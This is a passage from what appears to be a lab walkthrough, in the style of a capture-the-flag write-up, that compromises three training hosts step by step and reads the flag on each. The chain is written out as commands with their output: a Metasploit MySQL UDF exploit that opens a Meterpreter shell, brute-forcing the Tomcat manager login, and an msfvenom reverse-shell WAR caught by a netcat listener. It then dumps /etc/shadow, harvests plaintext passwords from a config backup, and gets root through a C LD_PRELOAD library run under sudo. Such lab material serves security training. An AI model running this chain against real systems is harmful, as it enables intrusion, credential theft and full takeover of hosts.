4 auxiliary/admin/tikiwiki/tikidblib 2006-11-01 normal No TikiWiki Information Disclosure
5 auxiliary/analyze/crack_databases normal No Password Cracker: Databases
6 auxiliary/gather/joomla_weblinks_sqli 2014-03-02 normal Yes Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read
20 exploit/multi/http/wp_db_backup_rce 2019-04-24 excellent Yes WP Database Backup RCE
21 exploit/multi/http/zpanel_information_disclosure_rce 2014-01-30 excellent No Zpanel Remote Unauthenticated RCE
22 exploit/multi/mysql/mysql_udf_payload 2009-01-16 excellent No Oracle MySQL UDF Payload Execution
23 exploit/unix/webapp/kimai_sqli 2013-05-21 average Yes Kimai v0.9.2 'db_restore.php' SQL Injection
24 exploit/unix/webapp/wp_google_document_embedder_exec 2013-01-03 normal Yes WordPress Plugin Google Document Embedder Arbitrary File Disclosure
25 exploit/windows/http/cayin_xpost_sql_rce 2020-06-04 excellent Yes Cayin xPost wayfinder_seqid SQLi to RCE
26 exploit/windows/mysql/mysql_mof 2012-12-01 excellent Yes Oracle MySQL for Microsoft Windows MOF Execution
Interact with a module by name or index. For example info 32, use 32 or use post/multi/manage/dbvis_add_db_admin
msf6 >
Notice that there is a Metasploit module available to exploit the MySQL database server. i.e
exploit/multi/mysql/mysql_udf_payload
It's a MySQL UDF exploit which will create a User-Defined Function (UDF) and allow us to run arbitrary commands using it.
Checking the available options for the MySQL UDF exploit module.
Let's use the listed MySQL UDF module and check it's available options:
Commands:
use exploit/multi/mysql/mysql_udf_payload
show options
msf6 > use exploit/multi/mysql/mysql_udf_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/mysql/mysql_udf_payload) > show options
Module options (exploit/multi/mysql/mysql_udf_payload):
Name Current Setting Required Description
---- --------------- -------- -----------
FORCE_UDF_UPLOAD true no Always attempt to install a sys_exec() mysql.function.
PASSWORD fArFLP29UySm4bZj no The password for the specified username
RHOSTS 192.251.63.4 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3306 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME root no The username to authenticate as
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.251.63.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux
msf6 exploit(multi/mysql/mysql_udf_payload) >
The following options are to be set:
# FORCE_UDF_UPLOAD
: Since we wish to execute commands on the remote server, we will set this option to true in order to install a sys_exec() MySQL function.
# RHOSTS
: It's the IP or URL of the target machine. In our case, it's server2.ine.local, where the MySQL server is running.
#RPORT
: It's the port of the MySQL service on the remote machine. Since MySQL service is running on the default port of 3306, nothing needs to be changed here.
# USERNAME
: It's the username to be used for the MySQL server login. It is already set to the value we want, that is, { root }.
# PASSWORD
: It's the password to be used for the MySQL server login. Since we retrieved the credentials for root user, we just need to set it to that value: { fArFLP29UySm4bZj }
We also need to configure the payload options and the exploit target for this module:
Here we need to set the following options:
# LHOST
: Set it to the IP address of the host machine (the Kali GUI instance), where we expect to receive back the meterpreter shell session, that is, { 192.73.96.2 }. But this IP might be different in your case, so make sure you set it properly. Otherwise the exploit won't work!
# LPORT
: Set it to a port where we expect to receive back the meterpreter shell session. Let's keep it at it's default value.
For the Exploit target, which defaults to Windows (numbered as 0), we need to change it to Linux (numbered as 1).
Now that we know of all the options and the values we need to fill in, let's do that next.
Configuring the selected MySQL UDF exploit module and exploiting the target.
Let's set all the options as discussed in the previous step:
Commands:
set FORCE_UDF_UPLOAD true
set PASSWORD fArFLP29UySm4bZj
set RHOSTS server2.ine.local
set TARGET 1
set LHOST 192.73.96.2
exploit
session -i 2
msf6 exploit(multi/mysql/mysql_udf_payload) > set FORCE_UDF_UPLOAD true
FORCE_UDF_UPLOAD => true
msf6 exploit(multi/mysql/mysql_udf_payload) > set PASSWORD fArFLP29UySm4bZj
PASSWORD => fArFLP29UySm4bZj
msf6 exploit(multi/mysql/mysql_udf_payload) > set RHOSTS server2.ine.local
RHOSTS => server2.ine.local
msf6 exploit(multi/mysql/mysql_udf_payload) > set TARGET 1
TARGET => 1
msf6 exploit(multi/mysql/mysql_udf_payload) > set LHOST 192.251.63.2
LHOST => 192.251.63.2
msf6 exploit(multi/mysql/mysql_udf_payload) > exploit
[*] Started reverse TCP handler on 192.251.63.2:4444
[*] 192.251.63.4:3306 - Checking target architecture...
[*] 192.251.63.4:3306 - Checking for sys_exec()...
[*] 192.251.63.4:3306 - Checking target architecture...
[*] 192.251.63.4:3306 - Checking for MySQL plugin directory...
[*] 192.251.63.4:3306 - Target arch (linux64) and target path both okay.
[*] 192.251.63.4:3306 - Uploading lib_mysqludf_sys_64.so library to /usr/lib/mysql/plugin/FifUpUvM.so...
[*] 192.251.63.4:3306 - Checking for sys_exec()...
[*] 192.251.63.4:3306 - Using URL: http://0.0.0.0:8080/RfkDh8
[*] 192.251.63.4:3306 - Local IP: http://10.1.0.8:8080/RfkDh8
[*] 192.251.63.4:3306 - Client 192.251.63.4 (Wget/1.15 (linux-gnu)) requested /RfkDh8
[*] 192.251.63.4:3306 - Sending payload to 192.251.63.4 (Wget/1.15 (linux-gnu))
[*] Sending stage (976712 bytes) to 192.251.63.4
[*] Meterpreter session 3 opened (192.251.63.2:4444 -> 192.251.63.4:39538) at 2022-01-08 20:13:40 +0530
[-] 192.251.63.4:3306 - Exploit failed: Rex::StreamClosedError Stream #<Socket:0x00007f50acea8c98> is closed.
[*] 192.251.63.4:3306 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/mysql/mysql_udf_payload) >
Note: Again emphasising the point that the IP address for the
LHOST must not be copied as is but instead it must be retrieved from the Kali instance that you receive. Otherwise things won't work as expected.
Ignore the error received while exploiting the MySQL server.
Let's check the available meterpreter sessions:
Command:
sessions
msf6 exploit(multi/mysql/mysql_udf_payload) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux root @ server2.ine.local (uid=0, gid=0, euid=0, egid=0) @ server2.ine.local 192.251.63.2:4444 -> 192.251.63.4:39422 (192.251.63.4)
2 meterpreter x86/linux root @ server2.ine.local (uid=0, gid=0, euid=0, egid=0) @ server2.ine.local 192.251.63.2:4444 -> 192.251.63.4:39494 (192.251.63.4)
3 meterpreter x86/linux root @ server2.ine.local (uid=0, gid=0, euid=0, egid=0) @ server2.ine.local 192.251.63.2:4444 -> 192.251.63.4:39538 (192.251.63.4)
msf6 exploit(multi/mysql/mysql_udf_payload) >
Notice that we received back a new meterpreter session. Let's access that shell (it's indexed as 2 in the above image):
Command:
sessions -i 2
msf6 exploit(multi/mysql/mysql_udf_payload) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
And we have received back a meterpreter shell on the target running MySQL server! So the exploitation was successful.
Reading the flag from the compromised MySQL server.
Commands:
ls /root
cat /root/flag.txt
meterpreter > ls /root
Listing: /root
==============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 3106 fil 2021-11-13 14:44:50 +0530 .bashrc
100644/rw-r--r-- 140 fil 2021-11-13 14:44:50 +0530 .profile
100644/rw-r--r-- 33 fil 2021-11-13 19:53:52 +0530 flag
100755/rwxr-xr-x 189 fil 2021-11-13 19:53:52 +0530 start.sh
meterpreter > cat /root/flag
4c537c0dfd18bafdcd59f53c7015550e
meterpreter > www.kumaratuljaiswal.in www.hackingtruth.in
FLAG: 4c537c0dfd18bafdcd59f53c7015550e
And with that, we have successfully exploited two machines and found one flag. Now, only one machine remains to be exploited, and that's located at server3.ine.local.
Accessing the last target machine (located at server3.ine.local) in a web browser.
We already know that on the last target machine: server3.ine.local, OpenSSH and Apache Tomcat services are running.
Open Firefox browser and access the Tomcat server on port 8080:
URL
http://server3.ine.local:8080
As you can notice, only one image is loaded on this page. Nothing else seems to be present on the home page.
Enumerating all the files and directories on the Tomcat server using dirb tool.
Let's use dirb to perform directory enumeration against the Tomcat server on server3.ine.local:
Command:
dirb http://server3.ine.local:8080
root@INE:~# dirb http://server3.ine.local:8080
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Jan 8 20:40:50 2022
URL_BASE: http://server3.ine.local:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://server3.ine.local:8080/ ----
+ http://server3.ine.local:8080/docs (CODE:302|SIZE:0)
+ http://server3.ine.local:8080/examples (CODE:302|SIZE:0)
+ http://server3.ine.local:8080/host-manager (CODE:302|SIZE:0)
+ http://server3.ine.local:8080/index.html (CODE:200|SIZE:262)
+ http://server3.ine.local:8080/manager (CODE:302|SIZE:0)
-----------------
END_TIME: Sat Jan 8 20:40:56 2022
DOWNLOADED: 4612 - FOUND: 5
root@INE:~#
root@INE:~# fping http://server3.ine.local:8080/docs
http://server3.ine.local:8080/docs: Name or service not known
root@INE:~#
root@INE:~#
As you can notice in the output above, some interesting (and sensitive) paths have been discovered like { /manager }.
Let's access the { /manager } in the browser:
URL:
http://server3.ine.local:8080/manager
Once the page loads up, it requests credentials to access the protected page. If you take a closer look at the dialog box, it says: "Tomcat Manager Application".
That definitely seems interesting! Let's try to exploit this in the next steps.
Using tomcat manager login Metasploit module.
Switch back to the terminal running Metasploit Framework and use the tomcat manager login module, that is,
auxiliary/scanner/http/tomcat_mgr_login:
Commands:
use auxiliary/scanner/http/tomcat_mgr_login
show options
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) >
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options
Module options (auxiliary/scanner/http/tomcat_mgr_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no The HTTP password to specify for authentication
PASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TARGETURI /manager/html yes URI for Manager login. Default is /manager/html
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no The HTTP username to specify for authentication
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
msf6 auxiliary(scanner/http/tomcat_mgr_login) >
msf6 auxiliary(scanner/http/tomcat_mgr_login) >
The show options command would list all the available configurable options for the selected module.
As you can notice most of the options are set to sane defaults. The only option we need to set is { RHOSTS }. We will also turn off the erbosity by setting the { VERBOSE } option to false.
Use the following commands to set the RHOSTS to the target URL, that is, server.ine.local and turn off the verbosity:
Commands:
set RHOSTS server3.ine.local
set VERBOSE false
exploit
msf6 auxiliary(scanner/http/tomcat_mgr_login) >
msf6 auxiliary(scanner/http/tomcat_mgr_login) >
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS server3.ine.local
RHOSTS => server3.ine.local
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit
[+] 192.251.63.5:8080 - Login Successful: tomcat:s3cret
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/tomcat_mgr_login) >
The last command { exploit } would, you guessed it, exploit the target Tomcat server.
Notice that we got back the valid credentials to access the Tomcat manager application!
Access Tomcat Manager Application interface.
Let's access the { /manager } resource using the credentials recovered in the previous step:
Username: tomcat Password: s3cret
And we have successfully logged in!
Scroll down to the Deploy section. In the WAR file to deploy subsection, we will upload a malicious WAR file to compromise the target server.
Generating a malicious WAR file and deploying it to the target server.
We will use msfvenom command to generate a malicious WAR file in order to gain the shell session on the Tomcat server.
Use the following commands (with) { LHOST } set to the IP of your Kali instance):
Commands:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.73.96.2 LPORT=443 -f war > shell.war
file shell.war
Here's the summary of the flags used with msfvenom:
# -p
: To specify a payload, which we have set to a JSP reverse TCP shell
# LHOST
: To specify the IP address/URL of the attacker machine, that's the Kali instance in our case
# LPORT
: The port on the attacker machine on which the listener must be started to receive back the shell session
# -f
: To specify the output format, which we have set to war
root@INE:~# file shell.war
shell.war: Zip archive data, at least v2.0 to extract
root@INE:~#
The generated file is saved to the file named shell.war.
Now we just need to upload it to the Tomcat server and deploy it:
Switch to the browser window and then click on the Browse... button:
Now locate and select the shell.war file, After selecting the file, click on the Deploy button:
Once the WAR file is deployed successfully, we should be able to see it in the application list:
As you can see in the above screenshot, we have successfully deployed the shell.war application.
Starting a netcat listener on the Kali GUI instance.
Before we access the deployed shell application, we need to start the netcat listener to receive a reverse shell.
Note: Make sure that the port on which the netcat listener is started is the same one we used in the payload (the
LPORT (parameter) generated using the msfvenom command.
So let's start a netcat listener on port 443:
Command:
nc -lvp 443
root@INE:~#
root@INE:~# nc -lvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Now access the shell application using the browser and we should have received a reverse shell on the netcat listener:
Application Path
http://server3.ine.local:8080/shell/
We have received a shell and we are operating as the { tomcat }user.
Spawning a TTY shell
The current shell is not a standard shell as it lacks quite a lot of benefits that a TTY shell provides like reverse search, tab completion, etc. So let's upgrade the current shell session using Python:
Command:
python -c 'import pty;pty.spawn("/bin/bash");'
Now we have a TTY shell.
Reading the flag from the compromised Tomcat server.
Commands:
ls
cat FLAG1
root@INE:~#
root@INE:~# nc -lvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 192.251.63.5.
Ncat: Connection from 192.251.63.5:44356.
id
uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat)
python -c 'import pty;pty.spawn("/bin/bash");'
tomcat@server3:~$
tomcat@server3:~$ #www.kumaratuljaiswal.in
#www.kumaratuljaiswal.in
tomcat@server3:~$
tomcat@server3:~$ ls
ls
FLAG1 NOTICE RUNNING.txt conf logs webapps
LICENSE RELEASE-NOTES bin lib temp work
tomcat@server3:~$
tomcat@server3:~$ cat FLAG1
cat FLAG1
EBCFE35ACC27E0EA91CF3A5AB600BABE
tomcat@server3:~$
FLAG: EBCFE35ACC27E0EA91CF3A5AB600BABE
Checking sensitive system files like /etc/shadow.
Since we are running as tomcat user, we definitely won't have the privileges to modify any sensitive data on the system. But let's see if we have the privilege to read the { /etc/shadow }file:
Command:
ls -l /etc/shadow
tomcat@server3:~$ ls -l /etc/shadow
-r--r--r-- 1 root shadow 856 Oct 18 2018 /etc/shadow
tomcat@server3:~$
Information: In the { /etc/shadow } file the password hashes for all the user's are present. And that's why it's one of the files that pentesters love!
As you can notice from the above output, we have read permission on this file.
Let's read this file:
Command:
cat /etc/shadow
tomcat@server3:~$ cat /etc/shadow
cat /etc/shadow
root:*:17751:0:99999:7:::
daemon:*:17751:0:99999:7:::
bin:*:17751:0:99999:7:::
sys:*:17751:0:99999:7:::
sync:*:17751:0:99999:7:::
games:*:17751:0:99999:7:::
man:*:17751:0:99999:7:::
lp:*:17751:0:99999:7:::
mail:*:17751:0:99999:7:::
news:*:17751:0:99999:7:::
uucp:*:17751:0:99999:7:::
proxy:*:17751:0:99999:7:::
www-data:*:17751:0:99999:7:::
backup:*:17751:0:99999:7:::
list:*:17751:0:99999:7:::
irc:*:17751:0:99999:7:::
gnats:*:17751:0:99999:7:::
nobody:*:17751:0:99999:7:::
systemd-timesync:*:17751:0:99999:7:::
systemd-network:*:17751:0:99999:7:::
systemd-resolve:*:17751:0:99999:7:::
systemd-bus-proxy:*:17751:0:99999:7:::
_apt:*:17751:0:99999:7:::
messagebus:*:17822:0:99999:7:::
tomcat:!:17822:0:99999:7:::
sshd:*:17822:0:99999:7:::
robert:$6$D4O99Z5L$Q38CW.ym42GmIbjZRh8DA2rtLHxXgMj.ahVbrBrbWvuBXmP555cGuLG1hkQE1R0eQVX48Rs7yecdU7V96u5Tf0:17822::::::
tomcat@server3:~$
All users present in this file are the default accounts except for robert. At this point, we have 2 options:
# Crack the hash and recover the password, or
# Enumerate further to find other ways to gain root privilege
Feel free to try both approaches. Since both are independent, you can even try your luck with both.
Since cracking the hash is the least fun and no-brainer part, we will instead focus on enumerating the machine further to give you more insights on the areas to look at during a pentest.
Exploring Tomcat configuration files for secrets.
Let's explore Tomcat's conf folder where all the webserver configuration files are present:
Commands:
cd conf
ls
tomcat@server3:~$ ls
ls
FLAG1 NOTICE RUNNING.txt conf logs webapps
LICENSE RELEASE-NOTES bin lib temp work
tomcat@server3:~$ cd conf
cd conf
tomcat@server3:~/conf$ ls
ls
Catalina conf.tar.gz server.xml web.xml
catalina.policy context.xml tomcat-users.xml
catalina.properties logging.properties tomcat-users.xsd
tomcat@server3:~/conf$
Notice that there is a gzipped archive present in the conf folder. Let's extract it's contents and see if it contains anything interesting:
Command:
tar -xvf conf.tar.gz
tomcat@server3:~/conf$ tar -xvf conf.tar.gz
tar -xvf conf.tar.gz
conf/
conf/catalina.properties
conf/context.xml
conf/tomcat-users.xsd
conf/web.xml
conf/logging.properties
conf/catalina.policy
conf/server.xml
conf/tomcat-users.xml
conf/Catalina/
conf/Catalina/localhost/
tomcat@server3:~/conf$
Notice that it's the complete backup of the Tomcat webserver's conf folder. Let's check the contents of { conf/tomcat-users.xml }
file:
Command:
cat conf/tomcat-users.xml
tomcat@server3:~/conf$
tomcat@server3:~/conf$ cat conf/tomcat-users.xml
cat conf/tomcat-users.xml
<tomcat-users>
<user password="s3cret" roles="manager-gui,admin-gui" username="tomcat">
<user password="robert@1234567890!@#" roles="manager-gui,admin-gui" username="robert">
</user></user></tomcat-users>
tomcat@server3:~/conf$
tomcat@server3:~/conf$
Interestingly enough, we have discovered password for the user robert here: { robert@1234567890!@# }
By the complexity of the password, you can probably guess that it would be quite difficult to break via bruteforce attempts!
Login to the Tomcat server over SSH.
If you remember on the Tomcat server machine, that is, server3.ine.local, OpenSSH service was also running. So we can try the credentials of user robert to access the machine over SSH.
Alternatively, we can use the { su } command to switch to robert's account.
Feel free to choose whatever option you like. We will use SSH to gain access to the target machine:
Command:
ssh robert@server3.ine.local
Type yes and then enter the credentials for robert credentials.
root@INE:~# ssh robert@server3.ine.local
robert@server3.ine.local's password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Sat Jan 8 16:22:05 2022 from 192.251.63.2
$ id
uid=999(robert) gid=999(robert) groups=999(robert)
$
And that should give us the access to robert's account.
Command:
id
We can confirm that by using the { id }
command.
Now since we are logged in as robert, let's look for the flag and read the flag file:
Commands:
ls
cat FLAG2
$ ls
FLAG2
$ cat FLAG2
EC2986081E84BB845541D5CC0BEE13B3
$
$ www.kumaratuljaiswal.in
FLAG: EC2986081E84BB845541D5CC0BEE13B3
Generating privilege escalation payload.
Now that we have access to robert's account, let's see if we can elevate our privileges to root. For that, let's check the list of privileges of robert:
Command:
sudo -l
Notice that the
LD_PRELOAD
environment variable is set in the above output. Also, robert user can execute
ls
command with
sudo
(as root) without requiring a password.
By leveraging the
LD_PRELOAD
environment variable, we will force
ls
command to first load a custom shared library which provides shell access on the target machine.
Add to that the fact that robert's account can use the
ls
command with
sudo
without any password. This will help us we will take advantage of this to run our malicious library and gain the root shell!
We will be compiling the following code as a shared library and preloading it while running the
ls
command:
Code:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
The above code is simple enough. It sets the user id and group id to 0 (that's for the root user!) and spawns a bash shell. And that would end up giving us a root shell on the target machine.
The function is named { _init } and that's important, otherwise your exploit code won't work. The reason is that the { _init } function runs before any other user-defined code runs, to perform all the necessary initializations. So the name has to be the same, or else it won't work*.
*Note: The above statement is not entirely true. { _init } function is obsolete and { __attribute__((constructor)) } is the preferred way for writing the code that runs to perform any initializations. You can read more on it here.
Save the above code as
shell.c
Now let's compile the code to generate a shared library,
shared.so
:
Commands:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
file shell.so
$ vim shell.c
$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
shell.c: In function '_init':
shell.c:6:1: warning: implicit declaration of function 'setgid' [-Wimplicit-function-declaration]
setgid(0);
^
shell.c:7:1: warning: implicit declaration of function 'setuid' [-Wimplicit-function-declaration]
setuid(0);
^
$
Note: If you chose to go with the { __attribute__((constructor)) } route instead of using the { _init }, which is obsolete (and dangerous) way of doing things, then while generating the shared library, { -nostartfiles'' or-nostdlib'' } flags must not be used!
Once the above commands have been executed, we would have successfully generated the malicious shared library.
Performing privilege escalation attacks using the
{ LD_PRELOAD } environment variable.
Now we have everything set up in order to carry out a privilege escalation attack. We will run { ls } command with { sudo } and set the { LD_PRELOAD } environment variable to the path of the malicious shared library we just compiled in the previous step:
Commands:
id
sudo LD_PRELOAD=/home/robert/shell.so ls
id
$
$ id
uid=999(robert) gid=999(robert) groups=999(robert)
$
$ sudo LD_PRELOAD=/home/robert/shell.so ls
#
# id
uid=0(root) gid=0(root) groups=0(root)
#
# #www.kumaratuljaiswal.in
#
#
#
And as you can see, we have gained a root shell!
Reading the flag
Now let's read the last flag:
Commands:
ls /root
cat /root/FLAG3
# ls /root
FLAG3
#
# cat /root/FLAG3
560648FC63F090A8CF776326DC13FAC7
#
# #www.hackingtruth.in
#
FLAG: 560648FC63F090A8CF776326DC13FAC7